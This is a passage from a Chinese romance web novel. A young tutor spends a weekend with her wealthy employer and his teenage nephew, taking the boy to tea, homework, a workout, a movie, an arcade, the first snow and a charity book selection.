乔听月视线落在他的手上,摘去腕表后,手腕硌出一圈浅浅的痕迹,骨节分明的手掌拖出椅子,椅子腿和地毯摩擦,发出些微弱的摩擦音。
似是被烫了一下,她自知失礼,慌忙将目光移回他脸上,“他去拿喝的了。”
陆忱从柜子里取出三只碟子,将其中绘制了小蔷薇图案的递给乔听月,“乔老师平时爱吃甜的吗?”
小蔷薇栩栩如生,乔听月用指腹描摹,很是喜爱,“很少,吃全麦面包多一些。”
陆忱疑惑:“为了减肥?”
乔听月身材高挑纤细,不是白幼瘦,而是恰到好处的匀称,浑身散发着积极健康的气息,并不需要刻意追求所谓的完美比例。
乔听月摇头,“高中的时候,学校超市和蛋糕房合作,专收一些卖不出去的产品,全麦最多最便宜,食堂又很难吃,只能去买面包,结果发现面包更难吃。”
陆忱见她提起这段往事时笑意居多,不由莞尔,“吃着吃着爱上了?”
“也不算吧,”乔听月聊天时喜欢托着下巴,是一种放松的姿态,“当时宁愿啃面包也不愿意吃食堂,毕业之后去蛋糕店,又只想吃全麦面包。”
陆忱了然。
乔听月是个恋旧的人,书包是新的,但挂饰是旧的,磨损痕迹很重,定然承载了她的回忆,全麦面包也一样,曾经吃的时候只觉得难吃,后来再吃,就不仅仅是品尝味道了。
话题进入尾声,祝承信端着茶壶回来,自作多情道:“等我呢?”
陆忱接过茶壶,倒了三杯,“煮红茶还加糖?”
祝承信信口胡诌:“加的牛奶,手抖放多了。”
陆忱没拆穿,直接没收了他的茶,从蛋糕架上捡了两块奶油曲奇放到他碟子里,“你就吃这些。”
祝承信一副天塌了的样子,“舅舅,你买了这么多,不吃浪费了!”
陆忱把唯一一块舒芙蕾分给乔听月,“吃不完可以给吴叔,他岁数大,睡前就爱吃点甜的。”
说罢,点了点茶壶盖,“这是你从他那炉子上拿的吧?”
祝承信嘿嘿笑:“我给他留了一杯,喝这么多,万一睡不着怎么办。”
舅甥俩拌嘴的时候,乔听月安静品尝舒芙蕾,舒芙蕾软甜可口,芒果夹心用的都是真材实料,既有牛奶的浓郁,又有芒果的香甜。
祝承信两口干掉一块曲奇,幽幽盯着舒芙蕾,恶意满满:“这么晚了,你不怕胖吗?”
“不怕啊,”乔听月用舌尖卷走唇瓣上的奶油,“我每天都会散步晨跑,走着或骑车去地铁站,运动量足够了。”
她看着祝承信,眼底戏谑,“不像某些人,天天修身养性练瑜伽,还偷偷吃薯片。”
祝承信大声控诉:“你又告状!”
“是吗?”陆忱拿着茶杯,白雾蒸腾模糊了他的双眸,他专心品着红茶,语气平平淡淡:“偷吃薯片?抢了谁的东西?”
锦新为了学生的身体健康,不允许任何禁用名单上的东西进校园,所以祝承信的薯片绝对是从非法渠道得来的。
祝承信也没想到看似温馨的甜品时间,会有一把火烧到自己身上。
他垂下头,讨好道:“我从同学那买的,舅舅,你千万别追究。”
乔听月知道有些学生胆子大,就喜欢做校规不允许的事,带零食除非撞到校领导,一般属于民不举官不究范畴。
如果陆忱心血来潮开始纠察,违反校规校纪的小姐少爷不在乎,真正害怕的是那些睁一只眼闭一只眼的老师们。
陆忱是锦新毕业,了解其中弯弯绕绕的潜规则,他曾经也是踩着规则蹦迪的一员,没必要自己上岸了就要回去撕别人的伞。
他放下茶杯,把祝承信碟子里第二块曲奇拿走吃了。
“给钱了就行,我会让你班主任监督你。罚你少吃一块,没意见吧?”
祝承信摇头,“没意见。”
陆忱见乔听月咽下最后一口舒芙蕾,“那课间休息就到这吧,行吗乔老师?”
乔听月一直关注着时间,她是不会在学习时间上让步的,就算陆忱不提,她也要结束休息的。
闻言点了点头,“是该写作业了。”
三人去书房,祝承信拉着乔听月远远坠在后面,他压低声音:“你不是不告密吗?出尔反尔?”
乔听月扯回袖子,拍了拍褶皱,“老师说话没用,自然就要找家长了,而且我什么时候答应你不说这件事的?”
祝承信哑然,乔听月从始至终就没承诺过为他保密。
“那我以后——”
“好说,”乔听月最喜欢懂得谈条件的学生,“你认真写满五张数学卷,我可以帮你偷渡一包薯片。”
祝承信咬牙:“最大包的。”
乔听月欣然同意:“口味你定。”
“行,从今天开始。”
乔听月拒绝,“今天不能算,你偷吃薯片违反规则,老师也要有惩罚的。”
祝承信做深呼吸,“你最好说话算数,不然我一定跟你拼命。”
乔听月目的达成,加快脚步跟上陆忱。
进入书房,两人各自回到书桌前,隔着楚河汉界,她问:“这么晚了,陆先生还要工作吗?”
传真机正在运作,陆续有纸张出现,空气中弥漫开油墨的味道。
陆忱应答:“都是些跨国事务,现在处理一部分,明天就能多偷会懒。”
乔听月嫣然一笑,“您也会偷懒吗?”
“当然,”陆忱夹子固定传真,形成一本并不单薄的文件,对她眨了下眼,“资本家也要摸鱼。”
祝承信故意姗姗来迟,“我也想摸鱼。”
乔听月晃了晃数学卷,“不可以哦,你已经答应我
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了。”
祝承信不想屈服,但一想到交白卷的后果,他就头皮发麻,还是乖乖写吧。
乔听月自然不闲着,查看书本的痕迹,推断他一天的学习进度。
昨晚加班小有成效,至少今天练习册上出现了祝承信的笔迹,洋洋洒洒,越写越乱,直到完全分辨不出来,才出现她同桌那娟秀的小字。
书房安安静静,燃着馥郁细腻的檀香,尾调略微有些辛辣,起到很好的提神作用。偶尔响起清脆的键盘声,又快又简洁,不足以打断乔听月的讲题思路。
乔听月自是注意到了,她望向对面,男人坐得很直,额前的发挡住了那双温柔却含着锋芒的眼眸,手腕带动着钢笔不停写着什么,全纸化办公,倒是辛苦他了。
祝承信充分吸取了昨日的教训,遇到不会的题直接问,一开始是为了省时省力,后来完全是在较劲。
他想把乔听月问倒,看她会有什么反应。
哪知乔听月的学识都是货真价实的,往往拿起一道题,读了题干就能给出解题思路。
祝承信实在忍不住问:“你不是学师范的吗?”
“是啊,”乔听月在草纸上列出解题步骤,演算流程摆在一旁,干净清晰,“我又不是没参加高考。”
“你就不会忘吗?我现在已经记不清初中老师长什么样了。”
“我也记不住,”乔听月理所当然道,“但是学过的知识怎么会忘,你还是掌握得不扎实,我多讲几遍你就记住了。”
乔听月讲题细致且有章法,祝承信逐渐听进去之后,也不觉得学习时间过得漫长了。
讲完最后一道题,刚好下班。
乔听月帮祝承信收拾书包,拿练习册的时候没抓稳,只抓到书皮,书在空中抖了抖,一张纸轻飘飘落下来。
是一张运动会报名表。
乔听月疑惑,这个时候办运动会,就不怕把学生都冻感冒了,往下看到项目,原来是她见识少了。
项目大多在室内,茶道、插花、书法、击剑等等,只有一项赛马在赛马场进行。
祝承信这个网瘾少年,学习时间一结束,便立刻拿出手机摆弄,并没有注意到乔听月的动作。
乔听月猜测他还在考虑要不要报名,并没有干涉他的选择,而是把报名表重新夹了回去,假装没有发现。
不过离开的时候,她和陆忱提起了这件事。
经过两天工作,乔听月已经知道陆老先生把集团百分之八十的事务交给了陆忱,他每天忙得脚不沾地,能忙里偷闲带祝承信体检实属不易,她不确定陆忱是否愿意参与学生运动会。
但她还是劝说:“陆先生,我认为运动会是增进感情的好机会,而且您说过小信缺乏亲密关系,如果您现场为他加油,他一定会感受到您对他的关爱。”
陆忱没有作出承诺,而是问:“他报了什么项目?”
乔听月摸了下耳垂,尴尬道:“暂时不知道,小信还在考虑。”
她感觉自己像拿着空头支票搞诈骗,被陆忱犀利的目光凝视片刻,几乎就要招架不住。
陆忱觉得祝承信大概率不会报名。
但是见她如此期待,他开始考虑是否要暗示祝承信一番。
乔听月不清楚他的态度,只好硬着头皮再试探:“运动会在下周五举办,大概需要半天,您有时间吗?”
陆忱勾起唇角,昏黄的灯遮掩了他眼底的意味深长,“乔老师言之有理,我当然不会缺席。”
15. 爆米花
从陆家离开后,乔听月彻底把握了工作节奏,日常生活很快规律起来。
给姐姐准备一日三餐,陪姐姐散步,偶尔去学校上课,闲暇时阅读文献准备汇报ppt,晚上去陆家带孩子。
时间如溪水般潺潺流过,很快到了第一次周末。
乔听月晨跑回来,把早餐放进保温柜。
乔望曦的房门依旧紧闭,仿佛逐渐入冬后,她也开始休眠。
乔听月观察了一周,发现她有时面色苍白难掩疲惫,偏偏问她又什么都不说。思来想去只能把原因归结为冬天能量消耗大,外出时间长身体吃不消。
没有打扰姐姐补觉,她穿上羽绒服出门。
九点整,乔听月准时抵达陆家。
吴叔给她开门,“乔老师来了,快请进吧。”
乔听月换上拖鞋,扭头看见陆忱和武睿在客厅,茶几上放了一份图纸。
“好久不见啊乔老师。”武睿说着,将图纸叠好放进文件夹。
乔听月无意窥探商业机密,和两人打了招呼,问道:“小信呢,不会刚睡醒就打游戏吧。”
陆忱放下文件,随着起身的动作,西裤垂落盖住脚踝。
“还睡着呢,我去叫他。”
乔听月对这个答案不意外。
有的学生在周末查缺补漏疯狂补课,有的格外珍惜时间定闹钟起床打游戏,有的出门走走放松心情,像祝承信这种就属于大被一蒙,睡得昏天暗地,不知今夕何夕。
她下意识跟上陆忱,走了两步想起他还有客人,“要不让吴叔带我去吧,您朋友还在。”
“不用管他,”陆忱语气熟稔,“他从来不把自己当客人。”
乔听月眸光闪了闪,此时的陆忱,好像和齐珊珊口中的他有几分相似了。
上了二楼左拐,第三间房。
“到了。”
祝承信睡觉不锁门,方便上学的时候管家叫他起床,陆忱推开门,余光中人影向后退了两步。
他转头,轻声问:“怎么了?”
乔听月摇摇头,“小信是男生,万一撞见什么不太好,麻烦陆先生了。”
陆忱独自进去,刷的一声,窗帘干脆地拉开,阳光穿过玻璃铺天盖闯进房间,最后爬满走廊墙壁。
乔听月心有所感。
果然,下一刻,男生沙哑的声音响起。
“舅舅!你别抢我被!”
“放手。”男人声音无情。
乔听月站在门边,屋内窸窸窣窣不断,听起来是开启了一场被子争夺战,片刻后,她清了清嗓子,屋内顿时安静下来。
“小信,该起床了。”
祝承信几乎是条件反射,扑腾坐起来,难以置信地看向陆忱,用气声问:“她这么早就来了?”
“别让老师久等,”陆忱放下被子,整理衣摆,“一会有教练过来,给你十分钟,下楼吃饭。”
他再出门,又是衣冠整洁端方优雅的陆先生。
十分钟后,祝承信下楼。
乔听月在餐厅等他多时,“早啊。”
祝承信刚才差点被她堵了被窝,哼了一声,闷头喝粥。
乔听月捧着咖啡杯,问道:“下午有三小时自由活动时间,有没有游玩计划?”
祝承信断然道:“没有,我就想在家打游戏。”
乔听月选择性地只听前两个字,“那就去看电影吧,最近有一部评分很高,我买票。”
“你都想好了问我干嘛,”祝承信吐槽,“大人都这样。”
乔听月不反驳,“总闷在房间里可不行,而且你多久没看电影了?”
问题一出,就见少年不屑撇嘴,慢慢地陷入沉思,眼神中流露出落寞的色彩。
祝承信嘴硬:“家里有影院,什么片子都有,不用舍近求远。”
乔听月看他的反应,就知道自己没做错决定,“看电影讲究氛围感,不愿意看剧情还可以看看观众,有时候观众比电影有意思。”
“这部电影马上就要下线了,评分8.7,你真想错过?”
祝承信低头喝粥掩饰心动,一副都是迁就你的口吻:“去吧去吧,不好看你得赔偿我精神损失费。”
“说什么呢?”
不知道什么时候,陆忱和武睿聊完工作,一起走过来。
他们都站着,乔听月自然也站起来,“我订了一点半的电影票,打算和小信一起去看。”
陆忱点头,“在哪个影院?”
“绿洲影院。”
陆忱拿起手机发消息,一边问她:“已经买了?还能退吗?”
“陆先生另有安排吗?”乔听月不明所以,看了下订票说明,“可以退,但是需要百分之十的手续费。”
武睿解释:“乔老师,绿洲影院是忱哥的,他一句话给你包场都行,哪用得着花钱买票。”
陆氏集团各行各业皆有涉及,乔听月短暂地震惊了一下,很快脱离出来,“主要是为了带小信感受电影院的氛围,包场就本末倒置了。”
她看了眼陆忱,有些不好意思,压低了声音:“而且我还用了优惠券,两张票才39。”
武睿笑得更大声了。
陆忱被他笑得头疼,本来想从后台给她退了,结果她说只花了39。
这个价位的礼物,堂堂陆总实在送不出手。
乔听月见他久久不言语,脑子里闪过富家子弟遭绑架之类的案例,以为陆忱顾虑这个,当即严肃道:“陆先生,我现在就退票。”
陆忱不知道她又想到了什么奇怪的东西,但直觉告诉他绝对不能让她误会。
“不用,小信不爱出门,你带他出去转转也好,辛苦你了。”
“陆先生言重了,”乔听月展颜,“这是我的工作嘛!”
这时,吴叔过来告知健身教练已经到位,询问是否有其他安排。
“听乔老师的吧,”陆忱看了眼手表,时间不容他拖延,不得不结束话题,“我临时有工作,没法陪你们健身,有事的话随时给我打电话。”
乔听月稳重道:“健身教练都是专业的,我会盯着不让小信受伤的,您放心吧。”
陆忱匆匆见了健身教练一面,检查完各项证件,确定没有任何问题,被武睿催着离开。
乔听月则拖着祝承信上楼。
进门穿过换衣间,再过一扇门才是健身房。
乔听月不用换衣服,直接走进去,就见健身教练蹲在跑步机旁边,手在机器上不断抚摸,眼神比看恋人还温柔。
“教练。”乔听月叫她。
教练瞬间起立,摸了摸鼻子,讪笑道:“不好意思,我叫王思,你就是乔老师吧。”
乔听月表示理解,她第一次来陆家,面上强装镇定,实则很是眼花缭乱。
“叫我小乔就行。”
没过多寒暄,她开门见山:“健身计划可以给我看看吗?”
陆忱着重交代过,一切听乔听月的,所以王思没有因为她是外行人就敷衍,而是仔细为她讲解了一番。
能被陆忱选上的人能力自不必说,王思做了周密的训练表,每一项都留有余
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地,既能达成强身健体的目的,又不至于让网瘾少年承受不了。
利用休息时间,王思系统地讲了健身要点和容易受伤的地方,之后带着祝承信热身。
乔听月唯二坚持的运动是晨跑和骑共享单车,给自己找了个吉祥物的定位,坐在划船机上拍照片。
选了几张祝承信表情不太狰狞的,一股脑给陆忱发过去。
家长都爱看孩子的日常,之前在学校,拍的时候还得考虑每个学生的出镜时长,现在她单独给祝承信拍特写,等陆忱忙完看见照片,一定高兴。
今日工作完成度+1。
——
另一边,会议刚开始,策划在屏幕前侃侃而谈,忽然听见嚣张的手机振动,顿时慌了一瞬。
是谁!
敢在陆总主持的会议上玩手机,胆子也太大了!
短短一个呼吸间,所有人完成了自我检视和对同事的监察。
最后视线汇聚在会议桌一端。
目光焦点处,陆忱拿起手机,撩了下眼,“不用停,你们继续。”
指纹解锁,屏幕上方接连不断探出乔听月的消息。
她一共发了十张照片,陆忱快速翻看到最后一张,视线定住。
乔听月为了拍到更清晰的照片,顶着祝承信怨念的眼神站在他对面,由此,她本人通过玻璃反射入了镜。
为了让祝承信看起来腿更长,她半蹲下来,一条腿伸出去,后仰身体举起手机,拍得太认真,反而忽略了自己不优雅的姿势。
陆忱不由勾起嘴角,点击保存,手指在按关机键时顿了下,重新翻到前面,统统点了保存。
与会人默默交流眼神。
【不是谣传,陆总真的恋爱了。】
——
一声哨响,今日健身宣告结束。
乔听月站起来捶了捶腰,长时间没有依靠,还真有点不舒服。
她这番惬意的姿态落在祝承信眼中,简直是火上浇油。
祝承信累得像条死狗,无数次想要结束这场折磨,偏偏王思一个劲给他打鸡血,做一组动作就往死里夸他,夸得他没脸开口。
他气冲冲来到乔听月面前,怨气冲天:“你为什么不和我一起练?”
乔听月愕然,旋即拍拍他的肩膀,“这是你的私人教练,懂什么叫私人教练吗?”
拍到一手汗,她淡定地收回手。
祝承信感受到肩膀上僵硬的停顿,霎时更气了,“你还敢嫌弃我!要不是你,我现在应该在游戏室吹空调!”
“现在也有空调,”乔听月不着痕迹地和他拉开距离,“电影还有两小时开场,快去洗澡,我在餐厅等你。”
吃完午餐,乔听月带着祝承信奔赴影院。
她对时间的把握一向精准,开场前十五分钟,成功换到电影票,“好了,我们走吧。”
没人回应。
祝承信刚刚还在她身后,此刻竟是没影了。
她视线迅速锁定柜台方向。
柜台前,祝承信接过爆米花和可乐,迫不及待地吸了一大口,露出舒爽的神情,转身和她对上视线,两排大白牙笑得十分嚣张。
乔听月想都没想,对他拍了一张照片,发给陆忱。
陆忱秒回。
【看完可以四处逛逛,我去接你们。】
祝承信暗叫不好,快走两步试图拦住她,微信响了。
他放下爆米花,打开消息。
【舅舅】:给乔老师也买一套。
【舅舅】:[转账2000元]
16. 初雪
电影讲的是一名大二学生睡醒后发现自己穿越回了高三,而且正好在参加期末考试,连蒙带骗考了个倒数,老师和家长以为他生病了,到处带他看病。
大学生有苦难言,只能一边找借口搪塞父母,一边在假期疯狂学习,期间有乌龙有挫折,好在主角意志坚定,最后依旧考上了穿越前所在的大学。
拿到录取通知书那天,家里办了升学宴,他喝了点酒,睡醒发现自己又穿回了原时空,室友让他赶紧起床,他才想起来,穿越前的第二天有一场高数考试。
电影在主角崩溃的嘶吼中结束,全程两小时,笑料不断。
一场电影下来,乔听月笑得脸都僵了,扭头看祝承信,发现他也一样,这才放心,打趣道:“怎么样,是不是不看后悔?”
祝承信尽力压下嘴角的弧度,“还凑活吧。”
身边的热心观众仗义执言:“你这小伙怎么和女朋友说话呢,况且这电影拍得多好。”
祝承信瞪大眼睛,指了指自己的脸,又指了指乔听月,“你说什么?你看清楚,我还没成年呢!”
乔听月笑道:“我是他姐姐,一开始说不来,我硬拉来的,好面子。”
“误会误会,”观众憨笑,语气从批判变成劝说,“有这姐姐还不偷着乐,好好上学,万一以后也穿越了怎么办,哈哈哈……”
祝承信把自己气成河豚,直到走出电影院也没和乔听月说话。
乔听月忽然把拳头伸到他面前,五指张开,一个亚克力周边挂在她手指上,“喏,送你的。”
挂件是主角的Q版形象,小人头上绑着“必胜”红布,抱着一本书啃。
祝承信别别扭扭地接过,“你什么时候买的?”
“不是买的,”乔听月指了指抽奖柜台,“凭电影票抽奖,我运气好。”
祝承信嘴角抽了抽,确实,打游戏开宝箱的时候他就发现了,乔听月总能摸到好buff。
收了钥匙扣,他终于憋不住跟她吐槽:“那人什么眼神,竟然说我们俩搞对象?!我看着岁数那么大吗?”
乔听月一言难尽地看他,“至少他有一句话没说错,你是真不会说话,就不能是我年轻?”
祝承信一噎,看向远处,“现在干什么去?”
“你舅舅说来接我们,”乔听月没收到消息,估计陆忱还没到,“去电玩城转转,你应该去过吧?”
……
陆忱到的时候,乔听月和祝承信正在打拳皇。
两人坐在机器前打得热火朝天,根本没在意身后是不是有人,毕竟在电玩城被围观的实属正常。
激烈的按键声几乎震坏耳朵,屏幕上大大的K.O.出现,祝承信选的角色倒地不起。
乔听月小幅度挥了下拳,得意道:“怎么样,服不服?”
一共玩了五局,祝承信一局没赢。
“这都多少年的老游戏了,我操作不顺手。”
“那我也赢了,”乔听月胜负欲很强,不管是学习还是游戏,“现在该去抓娃娃了,我们说好了的。”
半小时前,乔听月换了二百游戏币,直奔抓娃娃机,祝承信对此不感兴趣,所以才有了赌局——
祝承信选三个游戏,三局两胜,输了就要去抓娃娃。
祝承信不情不愿地站起来,“你自己抓,我去换游戏币玩别的。”
乔听月不限制他的行动,本质上还是带他放松的,自然他怎么舒服怎么来。
只不过电玩城太容易激起人的好胜心,她不知不觉也有些投入了。
两人先后站起来,转身,动作齐齐停滞。
正前方,陆忱倚着台彩票机,商务西装并不显得格格不入,反而被染上几分痞气。
他一手插兜,另一只手抬起来晃了晃,“玩得开心吗?”
他旁边还有几个女生,捏着手机想要联系方式,不过被他的气场震慑住,一时不敢动作。好不容易下定决心,却见他和游戏机前的女生打招呼,顿时一脸遗憾。
这一刻,乔听月心中波涛汹涌。
老师被学生家长抓到打电玩,并且非常没有风度地赢了学生,这种尴尬场面该怎么处理。
急,在线等。
陆忱看了眼祝承信。
后者收到信号,以玩嗨了为由果断跑路。
乔听月拖着沉重的步伐走到陆忱身边,“陆先生,您什么时候到的?”
很耳熟啊。
好像她每次释放天性,陆忱都在。
“刚到,”陆忱心情很好,看了眼她手里的小篮子,游戏币高高摞成小山,“换了这么多?我给你报销。”
乔听月连连拒绝:“不用不用,我来的时候看到推币机,随手试了一下,就掉下来这么多。”
陆忱知道推币机,专业吞币,能从里面掏出东西不是一般好运气。
他坦然地拿过篮子,“走吧,不是要去抓娃娃,去哪边?”
如果他只说抓娃娃,乔听月想都不想就会拒绝,偏偏他给了一个选择项。
乔听月下意识往人少的方向走,做了选择就不好再赶人,于是她暗示道:“不知道小信玩什么去了。”
电玩城人来人往,行走空间很窄。
陆忱和乔听月几乎要贴在一起,他垂眸瞧她一眼,轻声道:“不知道,可能是去投篮机了,小信之前是篮球队的。”
“篮球队?”乔听月的注意力果然被他的话吸引住,“我一直没问,小信是高二下转学到锦新的,他之前在哪里上学?”
“在国外。”陆忱的答案简单明了。
乔听月点头,对于祝承信的家庭情况她早有猜测,如今得了陆忱的准话,看来是真的有不为人知的变故。
一个念头在脑海中闪过,她迅速捕捉到,冷笑一声,“他乱做英语卷子,果然是故意的。”
陆忱卖外甥卖的毫不亏心,适时将话题拉回正轨,两枚游戏币在他指尖闪烁着。
“抓哪个?”
乔听月眨巴眨巴眼睛,“泰迪熊。”
陆忱把游戏币投进机器,自觉把遥控的位置让给她,“来吧。”
乔听月从来不玩这种奢侈的游戏,但她很喜欢看别人玩,有人满载而归,也有人血本无归,今天借着陪祝承信的机会,小小满足一下好奇心。
一连抓了五次,四次空勾,一次抓到又掉下来。
乔听月忍不住沮丧,偏头向陆忱寻求建议。
“这个难抓,要不换一个机器?”
陆忱摇头,“店家会调概率,你已经抓了五次,再多抓几次就能抓到了。”
乔听月一听沉没成本,有些心疼之前的投资。
“那我再抓两次,不成就及时收手。”
陆忱摆弄手机,“随便抓,很容易的。”
他的话像是有魔法,第二次,乔听月果然抓到了。
“成了!”
乔听月弯腰取出娃娃,正想找个东西装,一只骨节分明的手提着篮子出现在眼前。
陆忱不知道什么时候拿的篮子,乔听月早就习惯了他的细心,奉上一个笑脸,把泰迪熊放进去,往下一个机器走。
之后,乔听月像点亮了抓娃娃技能,三次里必中一次。
陆忱手里的篮子很快装满,不得不中途寄存柜台一部分。
乔听月过足了瘾,最后还剩下五枚游戏币,她递给陆忱。
“陆先生也试试吧。”
游戏币躺在她手心,陆忱伸手去拿。
修剪圆润的指甲刮过柔软掌心,乔听月瞬间有种触电的感觉,她强忍着异样等陆忱取走游戏币。
一枚接一枚,掌心渗出薄薄一层汗。
乔听月用力攥拳,缓解那股钻心的痒意。
陆忱把游戏币全部投进大娃娃机里,当时乔听月路过觉得不可能抓到,看了一眼便放弃了尝试。
操控着歪歪扭扭的剪子来到中央,对着绳子咔嚓剪下。
出乎意料地,绳子被剪断了。
四周响起此起彼伏的惊呼。
乔听月吓了一
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跳,她环顾四周,不由奇怪。
刚刚身边有这么多人吗?
陆忱将娃娃交给乔听月,“是不是该回家了?”
在一众羡慕的目光中,乔听月接过娃娃,压下心底的惊喜,理智道:“我去找小信,一会在门口集合。”
娃娃机这边的动静不小,祝承信去而复返,在角落偷偷围观。
乔听月不知道怎么回事,他可是一清二楚。
他亲眼看着工作人员在两排娃娃机旁放了“维修中”的牌子,阻拦了想要抓娃娃的客人,人为营造独处空间。至于一勾一个小娃娃,根本是店员调了概率,不然乔听月哪能玩得这么痛快。
不过他舅舅抓到大娃娃确实是意外之喜,难不成乔听月身上真有幸运buff?
乔听月绕了一圈,终于找到祝承信,他四周除了椅子什么都没有。
“你怎么在这坐着,游戏币用完了?”
祝承信应和,“玩了一圈觉得没劲,剩下的叫我退了。”
乔听月不疑有他,“你舅舅在门口等我们,走吧。”
三人离开后,店长阴沉着脸从角落里走出来。
“抓了多少?”
店员没说话,给他看了张照片。
高大的男人左右手各提一大包,少女抱着大娃娃,只能偏头走路,男生跟在两人身后,手里捏着个盲盒隐藏款。
整个画面就四个大字。
满载而归。
店长两眼一黑。
店员掐他人中,“店长,振作点,那是咱老板,咱不赔钱的。”
“老板?”店长死死捏着店员的手,目眦欲裂,“不赚钱就是赔钱,给我报工伤!”
——
离开商场时称得上万众瞩目,乔听月注意到有人拍照后,用玩偶遮住自己,忽然,脚步一顿,隔着柔软的棉花,她感受到一股回弹的力气,倒退两步勉强稳住身形。
她抬头,有玩偶挡着,只露出额头和一双水汪汪的小鹿眼。
陆忱同样被她撞得晃了一下,少女怕冷,穿着长款羽绒服,看起来和玩偶是同类,他揪住玩偶毛茸茸的耳朵,免得她一屁股坐在地上。
虽然不至于太疼,但以乔听月好面子的程度,估计要辞职换个地球生活了。
“坐直梯下去。”
乔听月“哦”了一声,声音有些闷。
来到地下停车场,把玩偶全都塞进后备箱,只留下没包装的大娃娃和祝承信坐在一起。
此时距离下班只有半小时。
乔听月有些难为情,“陆先生,一会我提前下班,明天把时间补回来可以吗?包括在电玩城浪费的时间,实在抱歉。”
陆忱以为她会选择加班,没想到是调休。
“可以,今天不算浪费时间,小信玩得很开心”
祝承信撇嘴。
究竟是谁开心他不说。
商务车在最近的地铁站停下,车门自动打开,乔听月下车,恰好,一片冰冰凉凉的雪花落在她嘴唇上,很快融化成一抹水印。
她展开手掌试图接住什么,低声喃喃:“下雪了。”
陆忱拎着娃娃下车,皱了皱眉,“下雪了,我送你回家吧。”
“不必了陆先生,”乔听月小脸红扑扑的,眉眼弯弯,“雪不大,我慢慢走就行。”
“还有两包娃娃。”依次为借口可以送她回家。
乔听月早就想好了娃娃的归属,“送给小信吧,作为他这周表现优秀的礼物。”
“对了,我也给陆先生准备了小礼物。”
陆忱微微一怔。
乔听月从兜里掏出一个小玩意,“是电影周边,您这个是家长款。”
见他接过,她双臂环住娃娃,抱得更紧些,不能挥手便灵巧地舞动手指,“我走了陆先生,明天见。”
陆忱摩挲着钥匙扣,直到人跑远了,才低声道:“明天见。”
上车前,他仰头欣赏这场雪。
初雪。
毫无预兆地降落了。
17. 心跳
初雪过后,江城彻底进入冬天。
乔听月全副武装,从家走到地铁站,被寒风吹得直打哆嗦。
到了陆家,又仿佛冬去春来,一身保暖装备顿时变得多余起来。
她单穿了一件奶白色毛衣,站在窗前,身边是加湿器,人还是燥热的,好歹嗓子没那么难受。
窗外,光秃秃的植物园裹了层白霜,玻璃花房矗立其中,各色花朵竞相盛放,像四季如春的童话王国。
“乔老师,喝杯牛奶暖暖身子。”
乔听月接过佣人递来的杯子,道谢之后问她:“那座花房平时是谁在打理?”
佣人道:“有专门的花匠,您要见见他吗?”
这段日子,佣人们早就看懂了陆忱的态度,面对乔听月愈发尊重,但又不敢做得太明显,只能小心猜测她的需求。
乔听月眼睛一亮,“可以吗?”
“可以什么?”
声音从身后响起。
乔听月转身,见陆忱迈下楼梯,信步走来。
供暖供得足,如今他身上的家居服比深秋那款还薄,隐约描摹着肌肉轮廓,她略微回避视线,“早上好陆先生。”
佣人悄悄退下了。
陆忱在她面前停下,抬手。
乔听月霎时屏住呼吸不敢乱动,心脏扑通跳个不停。男人的手掌近在咫尺,最终错过她的头发,摁在加湿器上。
也把她提起来的心摁回去。
“不要站太近,”陆忱切换模式,“头发湿了,小心着凉。”
乔听月摸了摸头发,表面确实有些潮湿。
佣人神出鬼没,送来毛巾又消失得无影无踪。
乔听月怕用力擦掉头发,只轻轻按了按潮湿的地方。
“小信还没睡醒?”
陆忱打开电视,观看今日的财经新闻,发现是自己前段时间的采访,果断切换频道。
“还在赖床,不过已经醒了。”
乔听月点头,学生假期赖床可以酌情处理,只要不耽误学习时间就行。
陆忱把话题拉回来,“你们刚刚在聊什么?”
乔听月发觉自己越过主人家见花匠是十分失礼的行为,解释道:“我非常喜欢您家的花房,想问问花匠有没有冬天易活的花草。”
陆忱当即给西边小楼打电话,挂断后对乔听月道:“一会花匠过来,想问什么直接问,想要花种或者分一株喜欢的移植都可以。”
陆家的花房大多各地搜罗来的名贵品种,他就这样无所谓地让她随便挑。
不多时,祝承信结束了漫无目的的赖床,晃晃悠悠地下楼了。
乔听月和他打招呼:“早啊小信。”
祝承信一屁股坐到她身边,见她面前摆着牛奶,靠着沙发冲厨房喊:“吴爷爷,我也要喝牛奶!”
陆忱睨他一眼,“自己去倒。”
陆家没有饭来张口的规矩。
祝承信纯是懒的,被舅舅骂了也不生气,哼着不成调的小曲溜溜达达去餐厅觅食。
“陆先生,您吃饭了吗?”
“乔老师吃早饭了吗?”
两人异口同声。
乔听月先回复:“我吃过了,您应该没吃吧。”
陆忱点头,总不好让她看着他们吃饭,“那乔老师稍等片刻。”
舅甥俩吃饭的时候,花匠提着工具箱到了。
乔听月趁机好好讨教了一番,再三确定不会影响花房之后,从花匠那拿了一包花种。
花匠离开后,王思又到了。
吴叔来来回回开门也不厌烦,乔听月看他慈祥的笑容,忽然脑子里浮现那句经典发言:【先生好久没笑了】。
换在吴叔身上应该是:【别墅好久没这么热闹了】。
而这份热闹是乔听月带来的。
等舅甥俩吃完饭,四人一起上楼。
乔听月本是要跟着去健身房,没想到陆忱叫住她:“乔老师,能帮我个忙吗?”
虽然不知道陆忱有什么事用得上她,她还是转身跟上,不忘嘱咐祝承信:“你好好听教练的话,我马上就上去。”
祝承信咧嘴,露出一行大白牙。
上去?
舅舅能让她上去就怪了。
跟着走进书房,最先映入眼帘的是玻璃桌上成摞的书籍。
陆忱察觉到她的疑惑,把书目递给她,“陆氏旗下的出版社最近有一个捐书活动,这些是书目上的书籍,因为我要参与现场,他们便把书提前送来了。”
陆氏每个季度都会做公益项目,Boss亲临现场必然有媒体跟拍,以作后续宣传,所以才要提前熟悉流程,不至于互动环节出岔子。
乔听月盘算得八九不离十,不过她还是不明白,“我能帮您什么?”
陆忱拍拍半人高的书,“编辑们给我选了这几本,看过梗概之后觉得不合适,想麻烦乔老师帮我重新选几本。”
乔听月随便选了一本翻看,编辑们选的大多是中外名著,有几本堪称晦涩难懂,不过很符合陆忱的身份。
本次活动面向的群体是贫困地区的中小学生,阅历、耐力、理解力都不足以支撑他们完全啃下这些书,捐过去估计只能起到美化书架的作用。
“这些确实不合适。”
乔听月面色严肃,如果活动当天陆忱真在小学生面前大谈特谈西方文学史,那陆氏公益活动的公信力极有可能受到影响。
他帮她许多,她必须得尽心还人情。
她抱起一摞色彩鲜艳的童话书,承诺道:“陆先生,这事交给我您就放心吧。”
童话书文字不多,插图丰富生动,主打寓教于乐,最终套路到一个容易理解的人生道理上。
乔听月一边看一边做记录,将筛选结果记在笔记上,之后去拿其他的书。
随着适龄年纪升高,阅读难度也有增长,就算她一目十行也要看许久。
一晃两小时过去,她揉了揉眼睛。
